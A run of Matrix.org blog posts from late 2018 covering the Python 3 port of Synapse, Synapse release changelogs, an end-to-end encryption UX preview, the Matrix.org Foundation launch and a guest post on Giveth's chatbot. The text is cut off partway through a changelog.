One of the biggest newcomers of 2018 was the launch of Modular.im in October - the world's first commercial Matrix hosting service.  Whilst (like Riot), Modular isn't strictly-speaking a Matrix.org project - it feels appropriate to mention it here, not least because it's helping directly fund the core Matrix dev team.So far Modular has seen a lot of interest from folks who want to spin up a super-speedy dedicated homeserver run by us rather than having to spend the time to build one themselves - or folks who have yet to migrate from IRC and want a better-than-IRC experience which still bridges well.  One of the nice bits is that the servers are still decentralised and completely operationally independent of one another, and there have been a bunch of really nice refinements since launch, including the ability to point your own DNS at the server; matrix->matrix migration tools; with custom branding and other goodness coming soon.  If you want one-click Matrix hosting, please give Modular a go :) Right now we're promoting Modular mainly to existing Matrix users, but once the Riot redesign is finished you should expect to see some very familiar names popping up on the platform :D

TWIM

Unless you were living under a rock, you'll hopefully have also realised that 2018 was the year that brought us This Week In Matrix (TWIM) - our very own blog tracking all the action across the whole Matrix community on a weekly basis.  Thank you to everyone who contributes updates, and to Ben for editing it each week. Go flip through the archives to find out what's been going on in the wider community over the course of the year!  (This blog post is already way too long without trying to cover the rest of the ecosystem too :)

Shapes of Things to Come

Finally, a little Easter egg (it is Christmas, after all) for anyone crazy enough to have read this far: The eagle-eyed amongst you might have noticed that one of our accepted talks for FOSDEM 2019 is “Breaking the 100bps barrier with Matrix” in the Real Time Communications devroom.  We don't want to spoil the full surprise, but here's a quick preview of some of the more exotic skunkworks we've been doing on low-bandwidth routing and transports recently.  Right now it shamelessly assumes that you're running within a trusted network, but once we solve that it will of course be be proposed as an MSC for Matrix proper.  A full write-up and code will follow, but for now, here's a mysterious video…
(If you're interested in running Matrix over low-bandwidth networks, please get in touch - we'd love to hear from you...)

2019

So, what will 2019 bring?In the short term, as should be obvious from the above, our focus is on:
  • r0 spec releases across the board (aka Matrix 1.0)
  • Implementing them in Synapse
  • Landing the Riot redesign
  • Landing all the new E2E encryption UX and features
  • Finalising the Matrix.org Foundation
However, beyond that, there's a lot of possible options on the table in the medium term:
  • Reworking and improving Communities/Groups.
  • Reactions.
  • E2E-encrypted Search
  • Filtering. (empowering users to filter out rooms & content they're not interested in).
  • Extensible events.
  • Editable messages.
  • Extensible Profiles (we've actually been experimenting with this already).
  • Threading.
  • Landing the Riot/Android rewrite
  • Scaling synapse via sharding the master process
  • Bridge UI for discovery of users/rooms and bridge status
  • Considering whether to do a similar overhaul of Riot/iOS
  • Bandwidth-efficient transports
  • Bandwidth-efficient routing
  • Getting Dendrite to production.
  • Inline widgets (polls etc)
  • Improving VoIP over Matrix.
  • Adding more bridges, and improving the current ones..
  • Account portability
  • Replacing MXIDs with public keys
In the longer term, options include:
  • Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{js,ios,android}-sdk)
  • Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)
  • Push notifications via Matrix (using a daemon-style architecture)
  • Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker.
  • Experimenting with MLS for E2E Encryption
  • Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)
  • Alternate use cases for VR, IoT, etc.
Obviously we're not remotely going to do all of that in 2019, but this serves to give a taste of the possibilities on the menu post-1.0; we'll endeavour to publish a more solid roadmap when we get to that point.And on that note, it's time to call this blogpost to a close. Thanks to anyone who read this far, and thank you, as always, for flying Matrix and continuing to support the project.  The next few months should be particularly fun; all the preparation of 2018 will finally pay off :)Happy holidays,Matthew, Amandine & the whole Matrix.org team.

Porting Synapse to Python 3

2018-12-21 — General — 
Matrix's reference homeserver, Synapse, is written in Python and uses the Twisted networking framework to power its bitslinging across the Internet. The Python version used has been strictly Python 2.7, the last supported version of Python 2, but as of this week that changes! Since Twisted and our other upstream dependencies now support the newest version of Python, Python 3, we are now able to finish the jump and port Synapse to use it by default. The port has been done in a backwards compatible way, written in a subset of Python that is usable in both Python 2 and Python 3, meaning your existing Synapse installs still work on Python 2, while preparing us for a Python 3 future.

Why port?

Porting Synapse to Python 3 prepares Synapse for a post-Python 2 world, currently scheduled for 2020. After the 1st of January in 2020, Python 2 will no longer be supported by the core Python developers and no bugfixes (even critical security ones) will be issued. As the security of software depends very much on the runtime and libraries it is running on top of, this means that by then all Python 2 software in use should have moved to Python 3 or other runtimes.The Python 3 port has benefits other than just preparing for the End of Life of Python 2.7. Successive versions of Python 3 have improved the standard library, provided newer and clearer syntax for asynchronous code, added opt-in static typing to reduce bugs, and contained incremental performance and memory management improvements. These features, once Synapse stops supporting Python 2, can then be fully utilised to make Synapse's codebase clearer and more performant. One bonus that we get immediately, though, is Python 3's memory compaction of Unicode strings. Rather than storing as UCS-2/UTF-16 or UCS-4/UTF-32, it will instead store it in the smallest possible representation giving a 50%-75% memory improvement for strings only containing Latin-1 characters, such as nearly all dictionary keys, hashes, IDs, and a large proportion of messages being processed from English speaking countries. Non-English text will also see a memory improvement, as it can be commonly stored in only two bytes instead of the four in a UCS-4 “wide” Python 2 build.

Editor's note: If you were wondering how this fits in with Dendrite (the next-gen golang homeserver): our plan is to use Synapse as the reference homeserver for all the current work going on with landing a 1.0 release of the Matrix spec: it makes no sense to try to iterate and converge on 1.0 on both Synapse and Dendrite in parallel. In order to prove that the 1.0 spec is indeed fit for purpose we then also need Synapse to exit beta and hit a 1.0 too, hence the investment to get it there. It's worth noting that over the last year we've been plugging away solidly improving Synapse in general (especially given the increasing number of high-profile deployments out there), so we're committed to getting Synapse to a formal production grade release and supporting it in the long term. Meanwhile, Dendrite development is still progressing - currently acting as a place to experiment with more radical blue-sky architectural changes, especially in low-footprint or even clientside homeservers. We expect it to catch up with Synapse once 1.0 is out the door; and meanwhile Synapse is increasingly benefiting from performance work inspired by Dendrite.

When will the port be released?

The port is has been released in a “production ready” form in Synapse 0.34.0, supporting Python 3.5, 3.6, and 3.7. This will work on installations with and without workers.

What's it like in the real world?

Beta testers of the Python 3 port have reported lower memory usage, including lower memory “spikes” and slower memory growth. You can see this demonstrated on matrix.org:See 10/15, ~20:00 for the Python 3 migration. This is on some of the Synchrotrons on matrix.org.

See ~11/8 for the Python 3 migration. This is on the Synapse master on matrix.org.We have also noticed some better CPU utilisation:See 21:30 for the migration of federation reader 1, and 21:55 for the others. The federation reader is a particular pathological case, where the replacement of lists with iterators internally on Python 3 has given us some big boosts.

See 10/15, 4:00.The CPU utilisation has gone down on synchrotron 1 after the Python 3 migration, but not as dramatically as the federation reader. Synchrotron 3 was migrated a few days later.As some extra data-points, my personal HS consumes about 300MB now at initial start, and grows to approximately 800MB -- under Python 2 the growth would be near-immediate to roughly 1.4GB.

Where to from here?

Python 2 is still a supported platform for running Synapse for the time being. We plan on ending mainstream support on 1st April 2019, where upon Python 3.5+ will be the only officially supported platform. Additionally, we will give notice ahead of time once we are ready to remove Python 2.7 compatibility from the codebase (which will be no sooner than 1st April). Although slightly inconvenient, we hope that this gives our users and integrators adequate time to migrate, whilst giving us the flexibility to use modern Python features and make Synapse a better piece of software to help power the Matrix community.

How can I try it?

The port is compatible with existing homeservers and configurations, so if you install Synapse inside a Python 3 virtualenv, you can run it from there. Of course, this differs based on your installation method, operating system, and what version of Python 3 you wish to use. Full upgrade notes live here but if you're having problems or want to discuss specific packagings of Synapse please come ask in #synapse:matrix.org.

Thanks

Many thanks go to fellow Synapse developers Erik and Rich for code review, as well as community contributors such as notafile and krombel for laying the foundations many months ago allowing this port to happen. Without them, this wouldn't have happened.Happy Matrixing,Amber Brown (hawkowl)

Synapse 0.34.0 released!

2018-12-20 — General — 

Folks this is a big day for us at Matrix Towers, because today we release 0.34.0.

The big news for 0.34.0 is that we now recommend Python 3 for production use and have been running matrix.org under Python 3 for the past month.

Performance improvements have been marked, in some contexts we have seen 50% reductions in RAM and CPU usage. Here are some illustrative graphs to get you going but look out for a dedicated post delving into much more detail on the port. You can also see a Matrix Live interview with the project lead Amber (hawkowl) here.

Matrix.org federation reader workers, the big drops signify roll over to python 3

Synapse master on matrix.org, again the drop in RAM signifies the roll over to python 3

Many thanks to Amber for leading the effort, Rich and Erik for providing support as well as Notafile and Krombel from the community for pushing this effort right from the early days of the project.

If that wasn't enough, 0.34.0 also all the usual bug fixes and perf improvements. In particular the media repository now no longer fails to decode UTF-8 filenames when downloading remote media and auto joining rooms now work on servers with consent requirements enabled.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.

In particular, if you want to run Synapse 0.34.0 on Python 3 take a look at the upgrade notes.

 

Synapse 0.34.0 changelog

Synapse 0.34.0 is the first release to fully support Python 3. Synapse will now run on Python versions 3.5 or 3.6 (as well as 2.7). Support for Python 3.7 remains experimental.

We recommend upgrading to Python 3, but make sure to read the upgrade notes when doing so.

Features

  • Add 'sandbox' to CSP for media reprository (#4284)
  • Make the new landing page prettier. (#4294)
  • Fix deleting E2E room keys when using old SQLite versions. (#4295)
  • Add a welcome page for the client API port. Credit to @krombel! (#4289)
  • Remove Matrix console from the default distribution (#4290)
  • Add option to track MAU stats (but not limit people) (#3830)
  • Add an option to enable recording IPs for appservice users (#3831)
  • Rename login type m.login.cas to m.login.sso (#4220)
  • Add an option to disable search for homeservers that may not be interested in it. (#4230)

Bugfixes

  • Pushrules can now again be made with non-ASCII rule IDs. (#4165)
  • The media repository now no longer fails to decode UTF-8 filenames when downloading remote media. (#4176)
  • URL previews now correctly decode non-UTF-8 text if the header contains a <meta http-equiv="Content-Type" header. (#4183)
  • Fix an issue where public consent URLs had two slashes. (#4192)
  • Fallback auth now accepts the session parameter on Python 3. (#4197)
  • Remove riot.im from the list of trusted Identity Servers in the default configuration (#4207)
  • fix start up failure when mau_limit_reserved_threepids set and db is postgres (#4211)
  • Fix auto join failures for servers that require user consent (#4223)
  • Fix exception caused by non-ascii event IDs (#4241)
  • Pushers can now be unsubscribed from on Python 3. (#4250)
  • Fix UnicodeDecodeError when postgres is configured to give non-English errors (#4253)

Internal Changes

  • Debian packages utilising a virtualenv with bundled dependencies can now be built. (#4212)
  • Disable pager when running git-show in CI (#4291)
  • A coveragerc file has been added. (#4180)
  • Add a GitHub pull request template and add multiple issue templates (#4182)
  • Update README to reflect the fact that #1491 is fixed (#4188)
  • Run the AS senders as background processes to fix warnings (#4189)
  • Add some diagnostics to the tests to detect logcontext problems (#4190)
  • Add missing jpeg package prerequisite for OpenBSD in README. (#4193)
  • Add a note saying you need to manually reclaim disk space after using the Purge History API (#4200)
  • More logcontext checking in unittests (#4205)
  • Ignore __pycache__ directories in the database schema folder (#4214)
  • Add note to UPGRADE.rst about removing riot.im from list of trusted identity servers (#4224)
  • Added automated coverage reporting to CI. (#4225)
  • Garbage-collect after each unit test to fix logcontext leaks (#4227)
  • add more detail to logging regarding "More than one row matched" error (#4234)
  • Drop sent_transactions table (#4244)
  • Add a basic .editorconfig (#4257)
  • Update README.rst and UPGRADE.rst for Python 3. (#4260)
  • Remove obsolete verbose and log_file settings from homeserver.yaml for Docker image. (#4261)

Synapse 0.33.9 is here!

2018-11-20 — General — 

Well here you are then, the 9th episode in the Synapse 0.33.x series.

Features wise, 0.33.9 contains a change to the way that GDPR consent works under the hood. It is now plumbed in to the login flow (rather than following immediately afterwards) such that it does not inadvertently break on-boarding. This is part of a broader set of changes that span Synapse and Riot to improve initial first impressions of using matrix.

Separately we now have support for room version upgrades which is pre-requisite for rolling out the new state resolution algorithm, come and join us in #teststateresv2:jki.re if you would like to help us test.

Finally we've spent a bunch of time further improving perf especially in and around reducing device ids federation traffic.

I know I say it every time, but full python 3 support is really really close now, matrix.org is now running entirely on py3 and seeing some amazing perf improvements - the remaining blocker is getting py3 deb packages ready and then we'll ship an official python 3 release. There will also be a blog post to explain what we've been up to and what to expect perf wise.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.  

Synapse 0.33.9 changelog

Features

  • Include flags to optionally add m.login.terms to the registration flow when consent tracking is enabled. (#4004#4133#4142#4184)
  • Support for replacing rooms with new ones (#4091#4099#4100#4101)

Bugfixes

  • Fix exceptions when using the email mailer on Python 3. (#4095)
  • Fix e2e key backup with more than 9 backup versions (#4113)
  • Searches that request profile info now no longer fail with a 500. (#4122)
  • fix return code of empty key backups (#4123)
  • If the typing stream ID goes backwards (as on a worker when the master restarts), the worker's typing handler will no longer erroneously report rooms containing new typing events. (#4127)
  • Fix table lock of device_lists_remote_cache which could freeze the application (#4132)
  • Fix exception when using state res v2 algorithm (#4135)
  • Generating the user consent URI no longer fails on Python 3. (#4140#4163)
  • Loading URL previews from the DB cache on Postgres will no longer cause Unicode type errors when responding to the request, and URL previews will no longer fail if the remote server returns a Content-Type header with the chartype in quotes. (#4157)
  • The hash_password script now works on Python 3. (#4161)
  • Fix noop checks when updating device keys, reducing spurious device list update notifications. (#4164)

Deprecations and Removals

  • The disused and un-specced identicon generator has been removed. (#4106)
  • The obsolete and non-functional /pull federation endpoint has been removed. (#4118)
  • The deprecated v1 key exchange endpoints have been removed. (#4119)
  • Synapse will no longer fetch keys using the fallback deprecated v1 key exchange method and will now always use v2. (#4120)

Internal Changes

  • Fix build of Docker image with docker-compose (#3778)
  • Delete unreferenced state groups during history purge (#4006)
  • The "Received rdata" log messages on workers is now logged at DEBUG, not INFO. (#4108)
  • Reduce replication traffic for device lists (#4109)
  • Fix synapse_replication_tcp_protocol_*_commands metric label to be full command name, rather than just the first character (#4110)
  • Log some bits about room creation (#4121)
  • Fix tox failure on old systems (#4124)
  • Add STATE_V2_TEST room version (#4128)
  • Clean up event accesses and tests (#4137)
  • The default logging config will now set an explicit log file encoding of UTF-8. (#4138)
  • Add helpers functions for getting prev and auth events of an event (#4139)
  • Add some tests for the HTTP pusher. (#4149)
  • add purge_history.sh and purge_remote_media.sh scripts to contrib/ (#4155)
  • HTTP tests have been refactored to contain less boilerplate. (#4156)
  • Drop incoming events from federation for unknown rooms (#4165)

User Experience Preview: End-to-end encryption

2018-11-02 — General — 
It's been a long-standing goal to enable end-to-end encryption by default for private communication in Matrix. The technical effort so far has included our libolm library, an independent cryptographic review and a massive backlog of feature development and bug fixes. Today, instead I'd like to focus on some of the User Experience challenges and goals we're facing.I should also introduce myself—I'm Nad Chishtie (@nadonomy:matrix.org) and I recently joined the Matrix core team (at New Vector) as Lead Designer, most recently focusing on end-to-end encryption.

When using encrypted messages, most existing services fall short in one or all of the following:

  • They don't allow you to use multiple devices independently. For example, a web session might be locally tethered to a mobile device.
  • They don't support a way to restore or temporarily access message history. For example, if you don't have physical access to your main device because it's broken or has been stolen.
  • They don't allow you to verify that devices are controlled by their owners rather than eavesdroppers, and persist that trust across multiple devices, sessions or rooms.
Modern users, even those we talk to at security and privacy-led organisations, expect these features to 'just work' by default out of the box. Before enabling end-to-end encryption by default, we've been hard at work figuring out how we can deliver these features without compromising security or usability.(For some users, restrictions such as limiting the number of places encryption keys reside, and not having a synchronised message history may be desirable security features. We'll support these cases, but just not as the default behaviour.)Let's dive in to some of the fundamental concepts we'll be putting forward to deliver a default end-to-end encryption experience that makes sense for most modern users. In this post we'll look at an overview of work-in-progress wireframes, in the spirit of designing in the open and gathering feedback from the wider Matrix community. Please note that these don't represent the actual interface design.

Cross-signing personal devices

When logging in to a new device, you'll be able to use an existing device to verify your new one. Verification is done by scanning a QR code on whichever device has the most convenient camera to use, or by comparing a short text string. You only have to complete this process once to mutually verify both devices.

Verifying your new device by cross-signing transfers encryption keys, giving it access to your encrypted messages, and also signals to other users that the new device is trustworthy.

Secure Message Recovery

To the end user, Secure Message Recovery works a lot like setting up disk encryption or a password manager. A user can optionally secure their message history using a recovery passphrase and/or key. If logged out, or using another device, the user can use the recovery passphrase or key to access their encrypted message history.In practise, this incrementally encrypts and backs up encryption keys to a user's homeserver, kept secure by the homeserver never having access to the passphrase or key. Like cross-signing, using a recovery passphrase or key will also signal to other users that a device is trustworthy.We think that in most cases users will cross-sign personal devices, but as a safety net (for example, if a user's devices are broken or lost) Secure Message Recovery is an invaluable tool for users to minimise the chance of them losing their encrypted message history.

People should trust people

With both cross-signing and Secure Message Recovery in place, we think that people should trust people, instead of individual devices. Now, when you verify a device, it'll mark all of that users trusted devices as trusted.Gone are the days of every person you talk to having to independently verify your new device upgrade. Like cross-signing, you can verify a device by scanning a QR code or comparing a short text string.

Sensible and extensible

In Riot, we're implementing these features with a sensible default experience that strikes a balance between usability and security. We think most people would prefer to trust cross-signed devices, and that user trust shouldn't block encryption. However, if you aren't most people, you'll be free to configure whatever level of security you need.

In Summary

With all of the above in place, and after resolving any remaining technical issues, users will be able to:
  • Use end-to-end encryption by default in private rooms.
  • Use an existing device or Secure Message Recovery to access their encrypted message history on multiple devices, and to signal device trust to other users.
  • Access their encrypted message history using Secure Message Recovery, by storing encrypted message keys on their homeserver.
  • Mark a user as trusted by verifying one of their devices, persisting across all rooms and devices.
  • Keep their encrypted messages out of the hands of eavesdroppers.
  • Opt out, or further configure if they have more specific security requirements.
There's more nuance to making all this work than we can cover in this overview post; things like recovery key management and immutable security notifications are all important pieces of the puzzle. For further reading, we're filling up more detail in UX reference documentation, interactive wireframes, GitHub issues and a work-in-progress threat model. Over the coming days we're polishing wireframes, nomenclature, iconography and microcopy as we dig deeper into development and implementation, as well as designing these features for the upcoming Riot redesign. Cryptography needn't be intimidating, and we're excited to iterate on these advanced features to make them work for everyone.We'd love to hear your feedback! Let us know your thoughts here or in #e2e-dev:matrix.org.

Synapse v0.33.8 is here!

2018-11-01 — General — 

Wowzers - our 8th dot release for v0.33!

This time we have a bunch of bug fixes and db performance improvements as well as better support for auto-join rooms and the ability for admins to limit who can create rooms aliases.

v0.33.8 also contains more python 3 fixes: we are running most of matrix.org on python 3 as of right now and seeing some pretty impressive performance improvements. Look out for Hawkowl's write up coming soon.

For those interested in what we are working on right now, take a look at our task board.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here.

 

Synapse 0.33.8 changelog

Features

  • Servers with auto-join rooms will now automatically create those rooms when the first user registers (#3975)
  • Add config option to control alias creation (#4051)
  • The register_new_matrix_user script is now ported to Python 3. (#4085)
  • Configure Docker image to listen on both ipv4 and ipv6. (#4089)

Bugfixes

  • Fix HTTP error response codes for federated group requests. (#3969)
  • Fix issue where Python 3 users couldn't paginate /publicRooms (#4046)
  • Fix URL previewing to work in Python 3.7 (#4050)
  • synctl will use the right python executable to run worker processes (#4057)
  • Manhole now works again on Python 3, instead of failing with a "couldn't match all kex parts" when connecting. (#4060#4067)
  • Fix some metrics being racy and causing exceptions when polled by Prometheus. (#4061)
  • Fix bug which prevented email notifications from being sent unless an absolute path was given for email_templates. (#4068)
  • Correctly account for cpu usage by background threads (#4074)
  • Fix race condition where config defined reserved users were not being added to the monthly active user list prior to the homeserver reactor firing up (#4081)
  • Fix bug which prevented backslashes being used in event field filters (#4083)

Internal Changes

  • Add information about the matrix-docker-ansible-deploy playbook (#3698)
  • Add initial implementation of new state resolution algorithm (#3786)
  • Reduce database load when fetching state groups (#4011)
  • Various cleanups in the federation client code (#4031)
  • Run the CircleCI builds in docker containers (#4041)
  • Only colourise synctl output when attached to tty (#4049)
  • Refactor room alias creation code (#4063)
  • Make the Python scripts in the top-level scripts folders meet pep8 and pass flake8. (#4068)
  • The README now contains example for the Caddy web server. Contributed by steamp0rt. (#4072)
  • Add psutil as an explicit dependency (#4073)
  • Clean up threading and logcontexts in pushers (#4075)
  • Correctly manage logcontexts during startup to fix some "Unexpected logging context" warnings (#4076)
  • Give some more things logcontexts (#4077)
  • Clean up some bits of code which were flagged by the linter (#4082)

Introducing the Matrix.org Foundation (Part 1 of 2)

2018-10-29 — General — 

Hi all,

Back in June we blogged about the plan of action to establish a formal open governance system for the Matrix protocol: introducing both the idea of the Spec Core Team to act as the neutral technical custodian of the Matrix Spec, as well as confirming the plan to incorporate the Matrix.org Foundation to act as a neutral non-profit legal entity which can act as the legal Guardian for Matrix's intellectual property, gather donations to fund Matrix work, and be legally responsible for maintaining and evolving the spec in a manner which benefits the whole ecosystem without privileging any individual commercial concerns.  We published a draft proposal for the new governance model at MSC1318: a proposal for open governance of the Matrix.org Spec to gather feedback and to trial during the day-to-day development of the spec. Otherwise, we refocused on getting a 1.0 release of the Spec out the door, given there's not much point in having a fancy legal governance process to safeguard the evolution of the Spec when we don't even have a stable initial release!

We were originally aiming for end of August to publish a stable release of all Matrix APIs (and thus a so-called 1.0 of the overall standard) - and in the end we managed to publish stable releases of 4 of the 5 APIs (Client-Server, Application Service, Identity Service and Push APIs) as well as a major overhaul of the Server-Server (SS) API.  However, the SS API work has run on much longer than expected, as we've ended up both redesigning and needing to implement many major changes to to the protocol: the new State Resolution algorithm (State Resolution Reloaded) to fix state resets; versioned rooms (in order to upgrade to the new algorithm); changing event IDs to be hashes; and fixing a myriad federation bugs in Synapse.  Now, the remaining work is progressing steadily (you can see the progress over at https://github.com/orgs/matrix-org/projects/2 - although some of the cards are redacted because they refer to non-spec consulting work) - and the end is in sight!

So, in preparation for the upcoming Matrix 1.0 release, we've been moving ahead with the rest of the open governance plan - and we're happy to announce that as of a few hours ago, the initial incarnation of The Matrix.org Foundation exists!Now, it's important to understand that this process is not finished - what we've done is to set up a solid initial basis for the Foundation in order to finish refining MSC1318 and turning it into the full Articles of Association of the Foundation (i.e. the legal framework which governs the remit of the Foundation), which we'll be working on over the coming weeks.

In practice, what this means is that in the first phase, today's Foundation gives us:

  • A UK non-profit company - technically incorporated as a private company, limited by guarantee.
  • Guardians, whose role is to be legally responsible for ensuring that the Foundation (and by extension the Spec Core Team) keeps on mission and neutrally protects the development of Matrix.  Matrix's Guardians form the Board of Directors of the Foundation, and will provide a 'checks and balances' mechanism between each other to ensure that all Guardians act in the best interests of the protocol and ecosystem.

    For the purposes of initially setting up the Foundation, the initial Guardians are Matthew & Amandine - but in the coming weeks we're expecting to appoint at least three independent Guardians in order to ensure that the current team form a minority on the board and ensure the neutrality of the Foundation relative to Matthew & Amandine's day jobs at New Vector.The profile we're looking for in Guardians are: folks who are independent of the commercial Matrix ecosystem (and especially independent from New Vector), and may even not be members of today's Matrix community, but who are deeply aligned with the mission of the project, and who are respected and trusted by the wider community to uphold the guiding principles of the Foundation and keep the other Guardians honest.
  • An immutable asset lock, to protect the intellectual property of the Foundation and prevent it from ever being sold or transferred elsewhere.
  • An immutable mission lock, which defines the Foundation's mission as a non-profit neutral guardian of the Matrix standard, with an initial formal goal of finalising the open governance process.  To quote article 4 from the initial Articles of Association:
    • 4. The objects of the Foundation are for the benefit of the community as a whole to:

      4.1.1  empower users to control their communication data and have freedom over their communications infrastructure by creating, maintaining and promoting Matrix as an openly standardised secure decentralised communication protocol and network, open to all, and available to the public for no charge;

      4.1.2  build and develop an appropriate governance model for Matrix through the Foundation, in order to drive the adoption of Matrix as a single global federation, an open standard unencumbered from any proprietary intellectual property and/or software patents, minimising fragmentation (whilst encouraging experimentation), maximising speed of development, and prioritising the long-term success and growth of the overall network over the commercial concerns of an individual person or persons.
  • You can read the initial Articles of Association here (although all the rest of it is fairly generic legal boilerplate for a non-profit company at this point which hasn't yet been tuned; the Matrix-specific stuff is Article 4 as quoted above).  You can also see the initial details of the Foundation straight from the horse's mouth over at https://beta.companieshouse.gov.uk/company/11648710.
Then, in the next and final phase, what remains is to:
  • Appoint 3+ more Guardians (see above).
  • Finalise MSC1318 and incorporate the appropriate bits into the Articles of Associations (AoA).  (We might literally edit MSC1318 directly into the final AoA, to incorporate as much input as possible from the full community)
  • Tune the boilerplate bits of the AoA to incorporate the conclusions of MSC1318.
  • Register the Foundation as a Community Interest Company, to further anchor the Foundation as being for the benefit of the wider community.
  • Perform an Asset Transfer of any and all Matrix.org property from New Vector to the Foundation (especially the Matrix.org domain and branding, and donations directed to Matrix.org).
So there you have it! It's been a long time in coming, and huge thanks to everyone for their patience and support in getting to this point, but finally The Matrix.org Foundation exists.  Watch this space over the coming weeks as we announce the Guardians and finish bootstrapping the Foundation into its final long-term form!  Meanwhile, any questions: come ask in #matrix-spec-process:matrix.org or in the blog comments here.

thanks,

Matthew, Amandine, and the forthcoming Guardians of [the] Matrix!

Synapse 0.33.7 released!

2018-10-18 — General — 

Hey ho, let's go. Synapse 0.33.7 has arrived.

Regular readers will know how close we are to a full python 3 release. We are not quite there yet but 0.33.7 has support for Synapse under worker mode and we've running it on matrix.org this week. We need more time to conclusively gauge performance improvements but the Synchrotron workers are running with 33% less RAM. Thanks to everyone who has been running their servers under py3, if you do spot anything unusual just let us know. Once we've been running it a bit longer on matrix.org, we'll cut a 0.34.0 release with a recommendation that one and all upgrade to python 3.

Aside from that this release contains support for server side end to end key backups, paving the way for client side support in Riot and Rich continues his long running federation bug squash-a-thon which should help with a whole host of federation snafus.

Up next on the horizon is returning in earnest to getting the server to server r0 spec out starting with shipping our brand new super shiny state resolution algorithm.

As a final point, for those of you that deploy from git checkout or a snapshot url and have email notifications enabled please take a look warning in the change log.

As a final final point #synapse:matrix.org is now an officially supported room, aimed at Synapse admins. If you've not done so already please do drop by and say Hi.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here.

Onwards!

Synapse 0.33.7 Change Log

Warning: This release removes the example email notification templates from res/templates (they are now internal to the python package). This should only affect you if you (a) deploy your Synapse instance from a git checkout or a github snapshot URL, and (b) have email notifications enabled.

If you have email notifications enabled, you should ensure that email.template_dir is either configured to point at a directory where you have installed customised templates, or leave it unset to use the default templates.

The configuration parser will try to detect the situation where email.template_dir is incorrectly set to res/templates and do the right thing, but will warn about this.

Features

  • Ship the example email templates as part of the package (#4052)
  • Add support for end-to-end key backup (MSC1687) (#4019)

Bugfixes

  • Fix bug which made get_missing_events return too few events (#4045)
  • Fix bug in event persistence logic which caused 'NoneType is not iterable' (#3995)
  • Fix exception in background metrics collection (#3996)
  • Fix exception handling in fetching remote profiles (#3997)
  • Fix handling of rejected threepid invites (#3999)
  • Workers now start on Python 3. (#4027)
  • Synapse now starts on Python 3.7. (#4033)

Internal Changes

  • Log exceptions in looping calls (#4008)
  • Optimisation for serving federation requests (#4017)
  • Add metric to count number of non-empty sync responses (#4022)

The story of Giveth’s new Matrix chatbot

2018-10-11 — General — 

Guest post today from GivethGiveth is re-engineering charitable giving, by creating an entirely free, open-source platform, built on the Ethereum Blockchain. Our system cuts out bureaucracy and enables nonprofits to create a high level of transparency and accountability towards Givers.


Giveth's new chatbot in action!

Online or offline, joining a new community always requires some adjustment. Even the most open, inclusive communities have shared knowledge and shared practices which new members learn as they participate. I recently joined Giveth's Riot community, where the majority of Giveth's communication occurs. Immediately upon joining, I received the message pictured above from the Giveth Bot, kindly encouraging me to download Riot mobile and change my notifications to mention-only. The bot shortened my adjustment period by giving me key tidbits of information that everyone in Giveth's community knows, but that may have taken me time to pick up on my own. This blog post will cover how the Giveth Bot came to be, what it is capable of, and where the project is headed in the future. The Giveth Bot actually started out as an attempt to solve a completely different problem: helping Giveth efficiently distribute internal reward points. Giveth's system for rewarding people who meaningfully contribute to the project is called RewardDAO. “If someone contributes in a meaningful way, a core contributor from each of the Giveth Campaigns can dish them points to recognize the contribution”, describes Cleo in an article explaining how RewardDAO works. At the end of each month, contributors receive Ether based on how many points they have earned.

The Giveth RewardDAO motto. Photo from https://medium.com/giveth.

However, any time that a core contributor dished points to someone, they had to record who received the points, and how many, on a spreadsheet. In search of a better way, Giveth opened up the project of automating this system to the social coding hub, a community of altruistic developers looking to tackle impactful and interesting projects, offering a 2 eth bounty for a solution.A lot of great work was submitted, and ultimately Deam's (@deamlabs) code was chosen to power the bot and the code for the pointsbot itself was further developed and refined by Frederik Bolding. Now, by using a command of the form “!dish [number] [type] points to [contributor] for [contribution]”, Giveth core contributors can distribute points as needed, and the bot will automatically update the spreadsheet accordingly.

The Giveth Bot dishing points like a champion!

Once the bot's framework was established, chatbot features were added. In addition to the welcome message I received, the bot gives custom welcome messages in each of Giveth's different rooms, allows Matrix users to have 1-on-1 chats with it, and listens for keywords and sentences it recognizes in rooms and private chats. Riot is built on top of an open-source protocol called Matrix. Matrix has a javascript standard development kit (SDK), which the bot uses to detect events occurring in each of the Riot rooms and chats that it is a part of.Giveth began by using Slack, but switched to Riot to support Matrix's decentralized, open-source model, which which aligns far more with Giveth's own business model and values. The Giveth Bot is a great example of how Matrix enables users to build their own solutions to problems. In the future, we hope that the Giveth Bot will be able to interact directly with the Ethereum Blockchain, and that more analytics and measurement tools can be incorporated. And of course, we welcome any and all feedback on the Giveth Bot!

Giveth is an open-source platform for building decentralized altruistic communities. Anyone interested in getting involved should head to join.giveth.io

Interested in checking out the Giveth Bot's inner workings? All code is available at https://github.com/Giveth/giveth-bot.

Interested in learning DApp development or helping out with cool projects like the Giveth Bot? Check out the social_coding Riot channel, tell us what you're interested in, and help build awesome stuff!

Synapse 0.33.6 released!

2018-10-04 — General — 

Right folks, time for Synapse 0.33.6.

These past few weeks we've been focusing on fixing a whole host of federation bugs to improve reliability and latency. Additionally we've squashed some py3 bugs, improved lazy loading and been working hard in the background to improve our CI infrastructure. Finally, we cleaned up the Docker file, the image is now half the size of 0.33.5.1's standing at 58 MB.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here.

 

Synapse 0.33.6

Features

  • Adding the ability to change MAX_UPLOAD_SIZE for the docker container variables. (#3883)
  • Report "python_version" in the phone home stats (#3894)
  • Always LL ourselves if we're in a room (#3916)
  • Include eventid in log lines when processing incoming federation transactions (#3959)
  • Remove spurious check which made 'localhost' servers not work (#3964)

Bugfixes

  • Fix problem when playing media from Chrome using direct URL (thanks @remjey!) (#3578)
